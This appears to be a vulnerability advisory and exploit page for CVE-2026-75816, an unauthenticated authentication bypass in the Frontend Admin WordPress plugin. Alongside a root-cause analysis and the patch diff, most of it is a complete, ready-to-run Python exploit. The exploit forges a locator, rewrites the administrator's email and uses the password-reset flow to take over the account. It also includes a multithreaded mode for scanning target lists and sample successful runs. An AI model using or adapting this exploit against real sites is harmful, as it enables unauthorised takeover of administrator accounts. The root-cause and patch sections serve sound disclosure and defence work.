#Summary

CVE-2026-75816 is a critical authentication bypass vulnerability in Frontend Admin by DynamiApps (WordPress plugin, slug acf-frontend-form-element) affecting all versions up to and including 3.29.12. The plugin's authorization gate fails open on non-numeric object locators, combined with a write sink that performs no capability check of its own, allowing unauthenticated attackers to modify any user record. By targeting user ID 1 (the site administrator), an attacker can rewrite the administrator's registered email address and then leverage WordPress's native password-reset flow to take over the account entirely. CVSS 9.8 CRITICAL.

#Am I affected?

#How to check

Run this command on a page hosting a Frontend Admin form:

curl -s https://target.com/page-with-form/ | grep -o 'name="_acf_form" value="[^"]*"'

If the page returns an _acf_form value and renders without authentication, the plugin is present. To verify the version:

curl -s https://target.com/wp-content/plugins/acf-frontend-form-element/acf-frontend.php | grep "Version:" | head -1

If the version is 3.29.12 or below, the target is vulnerable.

Alternatively, use the provided PoC script with --list mode on your asset inventory for non-destructive scanning.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The plugin's only authorization gate, ActionPost::conditions_logic() in main/frontend/forms/actions/post.php, examines the object locator and returns the settings untouched if it is non-numeric:

public function conditions_logic( $settings, $condition, $user ){
    $post_id = $settings['post_id'] ?? 'none';

    if( ! is_numeric( $post_id ) ){
        return $settings;  // <-- DEFECT: non-numeric doesn't mean harmless
    }

    if ( ! current_user_can( 'edit_post', $post_id ) ) {
        ...
        if ( ! $is_author && ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
            $settings['post_id'] = 'none';
        }
    }

    return $settings;
}

The intent is to allow two legitimate sentinel values ('none' and 'add_post'), but the implementation treats all non-numeric values as harmless. The current_user_can() check below never runs for any other string. A locator of user_1 passes through unmodified.

The write sink, Forms::pre_update_value() in main/frontend/module.php, performs no authorization check of its own:

public function pre_update_value( $checked, $value, $post_id = false, $field = false ){
    if( empty( $field['type'] ) ) return $checked;

    $type = $field['type'];

    return apply_filters( 'acf/pre_update_value/type=' . $type, $checked, $value, $post_id, $field );
}

It blindly dispatches to per-type handlers. The User Email field handler, user_email::pre_update_value(), is the terminal sink:

function pre_update_value( $checked, $value, $post_id, $field ) {
    if( $this->name !== $field['type'] ){
        return $checked;
    }
    $user = explode( 'user_', $post_id );

    if ( ! empty( $user[1] ) ) {
        $user_id = $user[1];
        remove_action( 'acf/save_post', '_acf_do_save_post' );
        wp_update_user(
            array(
                'ID'         => $user_id,
                'user_email' => esc_attr( $value ),
            )
        );
        add_action( 'acf/save_post', '_acf_do_save_post' );
        ...
    }
    return true;
}

With a locator of user_1, explode( 'user_', 'user_1' ) yields array( '', '1' ), so $user_id becomes 1 and wp_update_user() rewrites the email of user 1 (the administrator). There is no capability check anywhere in this function.

#How input reaches the sink

The object locator lives inside _acf_objects, an AES-256-CBC encrypted blob keyed on the site's salts, so it cannot be forged offline. It must be minted by the server. The logged-out AJAX endpoint frontend_admin/forms/add_form does exactly that for an anonymous caller:

add_action( 'wp_ajax_nopriv_frontend_admin/forms/add_form', array( $this, 'ajax_add_form' ) );

// In ajax_add_form():
if( 'admin_form' == $args['form_action'] && $args['form'] ){
    $data = $args['form'];
    $form = $this->get_form( $data['form'] );

    if( $form ){
        ...
        $data_types = array( 'post', 'user', 'term', 'product' );
        foreach ( $data_types as $type ) {
            if ( isset( $data[ $type ] ) ) {
                $form[ $type . '_id' ] = $data[ $type ];  // <-- copies form[post]=user_1 without validation
            }
        }
        $this->render_form( $form );
    }
    die();
}

The attacker sends form[post]=user_1 to the endpoint. The server copies it directly onto the form, re-renders, and form_set_data() folds it into the encrypted bundle. The response contains a server-minted _acf_objects asserting post = user_1.

On the return trip, Display_Form::get_form_data() decrypts the blob and promotes it to the live locator. The attacker submits the User Email field under the post group (not the user group where it natively renders), so ActionPost::run() treats it as a non-core field, pushes it into the metadata array, and hands it to acf_update_value( $value, 'user_1', $field ).

#Patch diff

#Version 3.29.13 (SVN changeset 3664865, released 2026-08-25)

Hunk 1 - the gate no longer fails open:

@@ -1221,7 +1221,14 @@
 		public function conditions_logic( $settings, $condition, $user ){
 			$post_id = $settings['post_id'] ?? 'none';
 
+			// 'none' and 'add_post' are the only legitimate non-numeric states;
+			// anything else is unexpected input and must not bypass the capability check below.
+			if ( in_array( $post_id, array( 'none', 'add_post' ), true ) ) {
+				return $settings;
+			}
+
 			if( ! is_numeric( $post_id ) ){
+				$settings['post_id'] = 'none';
 				return $settings;
 			}

The blanket "non-numeric means skip" is replaced by an explicit allowlist of the two legitimate sentinels. Any other non-numeric value, including user_1, is rewritten to 'none'.

Hunk 2 - the unauthenticated renderer will not mint the locator:

@@ -1735,8 +1735,12 @@
 				$data_types = array( 'post', 'user', 'term', 'product' );
 				foreach ( $data_types as $type ) {
-					if ( isset( $data[ $type ] ) ) {
-						$form[ $type . '_id' ] = $data[ $type ];
+					// only trust a numeric id here; a non-numeric or cross-type value
+					// must not be stored as-is, since downstream code loosely casts ids.
+					if ( isset( $data[ $type ] ) && is_numeric( $data[ $type ] ) ) {
+						$form[ $type . '_id' ] = absint( $data[ $type ] );
 					}
 				}
 				$this->render_form( $form );

This kills the delivery vector: ajax_add_form() will no longer encrypt an attacker-supplied user_1 into _acf_objects.

#Proof of concept

#exploit.py - Frontend Admin Account Takeover PoC

#!/usr/bin/env python3
"""
CVE-2026-75816 - Frontend Admin by DynamiApps (WordPress): unauthenticated account takeover
Affected: Frontend Admin by DynamiApps <= 3.29.12  (WordPress.org slug: acf-frontend-form-element)
Type: Authentication bypass / broken access control -> arbitrary user-record write -> account takeover

The plugin's only authorization gate, ActionPost::conditions_logic(), returns the form settings
untouched whenever the object locator is non-numeric, so the current_user_can('edit_post') check
below it never runs. The write sink, Forms::pre_update_value(), performs no check of its own. A
locator of "user_1" is therefore routed to the user record with id 1 by an anonymous submission,
and the User Email field's handler rewrites that account's registered address.

The locator lives inside _acf_objects, which is AES-encrypted server side and cannot be forged
offline. It does not need to be: the logged-out AJAX endpoint frontend_admin/forms/add_form copies
a caller-supplied object id straight onto the form and re-renders it, so the server mints the
poisoned blob on request. Three unauthenticated requests, no cookies, no session.

Scope note: on 3.29.12 the vendor guarded the user-field sinks without fixing the routing gate, so
the bypass is still confirmable there but the email leg does not land. The takeover completes on
3.29.11 and below. 3.29.13 fixes the gate and the renderer. PHP 8+ is required on the target: under
PHP 7 the loose comparison 'user_1' == 0 coerces the locator and the write silently goes nowhere.

Confirmation is entirely network-observable. The password-reset endpoint answers "there is no
account with that username or email address" for an unknown address and "check your email" for a
known one, so probing the freshly generated address before and after the write proves the target
account now answers to it.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 80 --username admin
  python exploit.py --host https://wordpress.corp.com --email [email protected]
  python exploit.py --host https://wordpress.corp.com/get-involved/ --user-id 1
  python exploit.py --list targets.txt --workers 20

Arguments beyond the standard set:
  --user-id   user record the locator points at (default 1, conventionally the first admin)
  --email     address to write onto that account. Defaults to a random .invalid address, which
              proves the write without handing the account to a mailbox nobody controls. Pass a
              mailbox you control to receive the reset link and complete the takeover.
  --path      path of the page hosting the form. Default: auto-discover via / and the REST API.
"""

import argparse
import html
import json
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

CVE_ID = "CVE-2026-75816"
VULN_TYPE = "Auth Bypass"

TIMEOUT = 30
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")

AJAX_PATH = "/wp-admin/admin-ajax.php"
LOSTPW_PATH = "/wp-login.php?action=lostpassword"

# Hidden inputs the submit handler expects back. Taken from the freshly rendered form, never from
# the original page: _acf_nonce is single use.
HIDDEN_INPUTS = (
    "_acf_form", "_acf_nonce", "_acf_objects", "_acf_screen",
    "_acf_validation", "_acf_changed", "_acf_current_url", "_acf_referer_url",
)

# ActionPost::get_core_fields(). These land in the post array and are consumed by wp_update_post(),
# which no-ops on a non-numeric id, so they can be submitted through the poisoned locator without
# writing anything anywhere. That is what makes the batch-scan probe non-destructive.
CORE_POST_FIELDS = (
    "post_title", "post_slug", "post_status", "post_content", "post_author",
    "post_excerpt", "post_date", "post_type", "menu_order", "allow_comments",
)

# Field types whose handlers write to a user record. Never submitted by the scan probe.
USER_WRITE_FIELDS = (
    "user_email", "username", "user_password", "first_name", "last_name",
    "nickname", "display_name", "user_bio", "user_website",
)


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- HTTP


def _ctx() -> ssl.SSLContext:
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


def _base(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else f"{host}:{port}"
    return f"{scheme}://{netloc}"


def _http(url: str, data: dict = None, timeout: int = TIMEOUT):
    """GET, or POST a urlencoded body. Returns (status, body). Raises on transport failure."""
    body = urllib.parse.urlencode(data).encode() if data is not None else None
    headers = {"User-Agent": UA, "Accept": "*/*"}
    if body is not None:
        headers["Content-Type"] = "application/x-www-form-urlencoded"
    req = urllib.request.Request(url, data=body, headers=headers)
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=_ctx()) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")


# ----------------------------------------------------------------------------- parsing


_RE_FORM_KEY = re.compile(r'name="_acf_form"\s+value="(form_[0-9a-z]+)"')
_RE_NONCE = re.compile(r'"nonce"\s*:\s*"([0-9a-f]+)"')
_RE_TAG_KEY = re.compile(r'<[a-z]+\b[^>]*\bdata-key="(field_[0-9a-z]+)"[^>]*>', re.I)
_RE_INPUT_NAME = re.compile(r'name="acff\[([^\]\[]+)\]\[(field_[0-9a-z]+)\]')


def _hidden(markup: str, name: str):
    m = re.search(r'name="%s"\s+value="([^"]*)"' % re.escape(name), markup)
    return html.unescape(m.group(1)) if m else None


def _parse_form(markup: str):
    """Pull the form key, the public ACF nonce and the field table out of rendered markup.

    Returns (form_key, nonce, fields) where fields maps a field key to
    {"type", "group", "required"}. Returns None if no form is present.
    """
    m_key = _RE_FORM_KEY.search(markup)
    m_nonce = _RE_NONCE.search(markup)
    if not m_key or not m_nonce:
        return None

    fields = {}
    for m in _RE_TAG_KEY.finditer(markup):
        tag = m.group(0)
        key = m.group(1)
        m_type = re.search(r'data-type="([a-z0-9_\-]+)"', tag, re.I)
        m_req = re.search(r'data-required="([01])"', tag)
        fields[key] = {
            "type": (m_type.group(1) if m_type else ""),
            "group": None,
            "required": bool(m_req and m_req.group(1) == "1"),
        }

    # The group a field renders under is the first index of its input name. Submit_Form files each
    # value under the group it arrives in, and only the "post" group reaches the poisoned locator.
    for m in _RE_INPUT_NAME.finditer(markup):
        group, key = m.group(1), m.group(2)
        if key in fields and fields[key]["group"] is None:
            fields[key]["group"] = group

    return m_key.group(1), m_nonce.group(1), fields


def _email_field(fields: dict):
    for key, meta in fields.items():
        if meta["type"] == "user_email":
            return key
    return None


def _probe_field(fields: dict):
    """A field the scan probe can submit through the poisoned locator without writing anything."""
    for key, meta in fields.items():
        if meta["type"] in CORE_POST_FIELDS:
            return key
    return None


# ----------------------------------------------------------------------------- discovery


def _find_form(base: str, path: str):
    """Locate a page rendering a Frontend Admin form. Returns (url, form_key, nonce, fields)."""
    seen = []
    candidates = []
    if path and path != "/":
        candidates.append(urllib.parse.urljoin(base + "/", path.lstrip("/")))
    candidates.append(base + "/")

    for url in candidates:
        if url in seen:
            continue
        seen.append(url)
        try:
            status, body = _http(url)
        except Exception:
            continue
        parsed = _parse_form(body)
        if parsed:
            return (url,) + parsed

    # Nothing obvious: ask WordPress itself which pages exist.
    for endpoint in ("/wp-json/wp/v2/pages?per_page=100", "/wp-json/wp/v2/posts?per_page=100"):
        try:
            status, body = _http(base + endpoint)
            items = json.loads(body)
        except Exception:
            continue
        if not isinstance(items, list):
            continue
        for item in items[:50]:
            link = item.get("link") if isinstance(item, dict) else None
            if not link or link in seen:
                continue
            seen.append(link)
            try:
                status, page = _http(link)
            except Exception:
                continue
            parsed = _parse_form(page)
            if parsed:
                return (link,) + parsed

    return None


# ----------------------------------------------------------------------------- chain


def _mint_locator(base: str, form_key: str, nonce: str, locator: str):
    """Make the logged-out renderer encrypt an attacker-chosen object id into _acf_objects.

    Display_Form::ajax_add_form() copies form[post] onto the form with no validation, renders it,
    and form_set_data() folds the locator into the encrypted object bundle. Returns the hidden
    inputs of the re-rendered form, or None.
    """
    status, body = _http(base + AJAX_PATH, {
        "action": "frontend_admin/forms/add_form",
        "nonce": nonce,
        "form_action": "admin_form",
        "form[form]": form_key,
        "form[post]": locator,
    })
    if status != 200:
        return None
    hidden = {}
    for name in HIDDEN_INPUTS:
        value = _hidden(body, name)
        if value is not None:
            hidden[name] = value
    if "_acf_objects" not in hidden or "_acf_nonce" not in hidden:
        return None
    return hidden


def _submit(base: str, hidden: dict, values: dict):
    """Replay the minted form with attacker values. Returns (status, parsed_json_or_None, body)."""
    data = dict(hidden)
    data["action"] = "frontend_admin/form_submit"
    data.update(values)
    status, body = _http(base + AJAX_PATH, data)
    try:
        return status, json.loads(body), body
    except ValueError:
        return status, None, body


def _echoed_locator(payload):
    """The submit response echoes the locator the post action actually ran against.

    "user_1" means the poisoned locator survived the gate. An integer means it was rewritten to
    add_post and a real post was created instead, which is the patched behaviour.
    """
    if not isinstance(payload, dict):
        return None
    data = payload.get("data")
    if isinstance(data, dict) and "post" in data:
        return data["post"]
    return None


def _reset_oracle(base: str, login: str):
    """Ask the password-reset endpoint whether an account answers to this login or address.

    Returns "exists", "missing" or "unknown". This is the network-observable read primitive that
    confirms the write landed, without any access to the target beyond HTTP.
    """
    try:
        status, body = _http(base + LOSTPW_PATH, {
            "user_login": login,
            "redirect_to": "",
            "wp-submit": "Get New Password",
        })
    except Exception:
        return "unknown"
    text = re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", body)).lower()
    if "no account with that username or email" in text:
        return "missing"
    if "check your email" in text or "password reset email has been sent" in text:
        return "exists"
    return "unknown"


def _random_email() -> str:
    # RFC 2606 reserved TLD: provably undeliverable, so the default cannot hand the account to a
    # mailbox nobody controls, while still proving the write through the reset oracle.
    return "%s@%s.invalid" % (secrets.token_hex(6), secrets.token_hex(4))


# ----------------------------------------------------------------------------- scan probe


def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/"):
    """Silent, non-destructive probe for --list mode. Returns (success, evidence).

    Runs the routing bypass but submits only a core post field through the poisoned locator, so no
    user record is touched on any target. Never prints, never exits.
    """
    try:
        base = _base(host, port, use_tls)
        found = _find_form(base, path)
        if not found:
            return False, "no Frontend Admin form reachable anonymously"
        url, form_key, nonce, fields = found

        probe_key = _probe_field(fields)
        if probe_key is None:
            return False, "form has no core post field to probe safely"

        hidden = _mint_locator(base, form_key, nonce, "user_1")
        if hidden is None:
            return False, "renderer refused the object id (no _acf_objects minted)"

        status, payload, body = _submit(base, hidden, {
            "acff[post][%s]" % probe_key: "-",
        })
        echoed = _echoed_locator(payload)
        if echoed == "user_1":
            return True, "authorization gate bypassed - locator 'user_1' reached the post action"
        if echoed is None:
            return False, "no locator echoed in submit response (HTTP %s)" % status
        return False, "locator rewritten to a post id (%r) - gate holds" % (echoed,)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, path: str = "/") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, path) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        h, p, tls, pth = t
        label = f"{'https' if tls else 'http'}://{h}:{p}"
        ok, evidence = _try_exploit(h, p, tls, pth)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} vulnerable / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------------------- exploit


def exploit(host: str, port: int, use_tls: bool, path: str,
            username: str, user_id: int, email: str) -> None:
    header(host, port)
    base = _base(host, port, use_tls)
    locator = "user_%d" % user_id

    step(1, "Locating an anonymously renderable Frontend Admin form...")
    try:
        found = _find_form(base, path)
    except Exception as e:
        done(False, "target unreachable (%s: %s)" % (e.__class__.__name__, e))
    if not found:
        done(False, "no Frontend Admin form reachable anonymously - precondition unmet on this target")

    form_url, form_key, nonce, fields = found
    email_key = _email_field(fields)
    section("FORM DISCOVERED", "\n".join([
        "page      : %s" % form_url,
        "form key  : %s" % form_key,
        "acf nonce : %s" % nonce,
        "fields    : " + ", ".join(
            "%s (type=%s group=%s%s)" % (k, v["type"], v["group"], ", required" if v["required"] else "")
            for k, v in fields.items()
        ),
    ]))
    if email_key is None:
        done(False, "form exposes no User Email field - the email-overwrite leg needs one on this form")

    step(2, "Confirming %s is not already registered (password-reset oracle)..." % email)
    before = _reset_oracle(base, email)
    if before == "exists":
        done(False, "address %s already belongs to an account - rerun to draw a fresh one" % email)
    section("ORACLE (BEFORE)", "POST %s  user_login=%s\n-> %s" % (LOSTPW_PATH, email, {
        "missing": "\"there is no account with that username or email address\"",
        "unknown": "no recognisable answer - reset messages are suppressed here, so the write "
                   "will not be readable back over the network",
    }[before]))

    step(3, "Minting a poisoned object locator (%s) via the logged-out renderer..." % locator)
    hidden = _mint_locator(base, form_key, nonce, locator)
    if hidden is None:
        done(False, "renderer would not mint the locator - target rejected the non-numeric object id (patched)")
    section("SERVER-MINTED _acf_objects", hidden["_acf_objects"])

    step(4, "Submitting the User Email field under the 'post' group so it rides the locator...")
    values = {"acff[post][%s]" % email_key: email}
    for key, meta in fields.items():
        if key == email_key or not meta["required"]:
            continue
        values["acff[%s][%s]" % (meta["group"] or "post", key)] = "ref-%s" % secrets.token_hex(3)
    status, payload, body = _submit(base, hidden, values)
    section("SUBMIT RESPONSE", body[:800])

    echoed = _echoed_locator(payload)
    if echoed is None:
        done(False, "submit returned no locator echo (HTTP %s) - form not anonymously submittable" % status)
    if echoed != locator:
        done(False, "locator was rewritten to %r before the write - authorization gate holds (patched)" % (echoed,))
    step(5, "Locator survived the gate: the post action ran against %r." % echoed)

    step(6, "Re-querying the password-reset oracle to confirm the user record was rewritten...")
    after = _reset_oracle(base, email)
    section("ORACLE (AFTER)", "POST %s  user_login=%s\n-> %s" % (LOSTPW_PATH, email, {
        "exists": "\"check your email for the confirmation link\"",
        "missing": "\"there is no account with that username or email address\"",
        "unknown": "no recognisable answer",
    }[after]))

    if after == "unknown":
        done(False,
             "authorization bypass CONFIRMED (locator %r accepted unauthenticated) but this target "
             "suppresses the password-reset message, so the write cannot be read back over the "
             "network - rerun with --email pointing at a mailbox you control" % locator)
    if after != "exists":
        done(False,
             "authorization bypass CONFIRMED (locator %r accepted unauthenticated) but the email did "
             "not land - user-field sinks are guarded (target is 3.29.12) or it runs PHP 7" % locator)

    step(7, "Requesting a password reset for '%s' - the link now goes to %s." % (username, email))
    takeover = _reset_oracle(base, username)
    section("PASSWORD RESET", "POST %s  user_login=%s\n-> %s" % (LOSTPW_PATH, username, {
        "exists": "\"check your email for the confirmation link\" - reset link mailed to %s" % email,
        "missing": "no such account - pass the correct login with --username",
        "unknown": "no recognisable answer",
    }[takeover]))

    evidence = ("user record %d rewritten by unauthenticated request - %s is now its registered "
                "address (reset oracle flipped missing -> exists)" % (user_id, email))
    if takeover == "exists":
        evidence += "; reset link for '%s' delivered to it - account takeover" % username
    done(True, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/page-with-the-form/)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Login of the account to take over, used to drive the reset (default: admin)")
    parser.add_argument("--user-id", type=int, default=1,
                        help="User record the locator targets, as user_<id> (default: 1)")
    parser.add_argument("--email", default=None,
                        help="Address to write onto that account (default: a random .invalid address)")
    parser.add_argument("--path", default="/",
                        help="Path of the page hosting the form (default: auto-discover)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, path=args.path)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.username, args.user_id, args.email or _random_email())

#Usage

# Single target with account takeover
python exploit.py --host 192.168.14.30 --username administrator --email [email protected]

# TLS target with form on specific page
python exploit.py --host https://wordpress.corp.example/get-involved/ --username admin

# Target different user record
python exploit.py --host 192.168.14.30 --user-id 3 --username editor

# Batch scan (non-destructive probe mode)
python exploit.py --list wordpress-hosts.txt --workers 20

#Vulnerable target

============================================================
  ALIM EXPLOIT  CVE-2026-75816
  Type: Auth Bypass  |  Target: 127.0.0.1:8815
============================================================

[STEP 1] Locating an anonymously renderable Frontend Admin form...

--- FORM DISCOVERED ---
page      : http://127.0.0.1:8815/submit-a-post/
form key  : form_6aa01db42adf1
acf nonce : d940bdaabf
fields    : field_65aade3096edc (type=post_title group=post, required), field_b8502e3c237e8 (type=user_email group=user, required)
---

[STEP 2] Confirming [email protected] is not already registered...

[STEP 3] Minting a poisoned object locator (user_1)...

[STEP 4] Submitting the User Email field under the 'post' group...

[STEP 5] Locator survived the gate: the post action ran against 'user_1'.

[STEP 6] Re-querying the password-reset oracle...

--- ORACLE (AFTER) ---
POST /wp-login.php?action=lostpassword  [email protected]
-> "check your email for the confirmation link"
---

[STEP 7] Requesting a password reset for 'siteadmin'...

============================================================
  RESULT  : SUCCESS
  EVIDENCE: user record 1 rewritten by unauthenticated request - reset link delivered to attacker address
============================================================

#Patched target

[STEP 3] Minting a poisoned object locator (user_1)...

[STEP 4] Submitting the User Email field under the 'post' group...

--- SUBMIT RESPONSE ---
{"success":true,"data":{...,"post":14,...}}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: locator was rewritten to 14 before the write - authorization gate holds (patched)
============================================================

#Exploitation notes

#References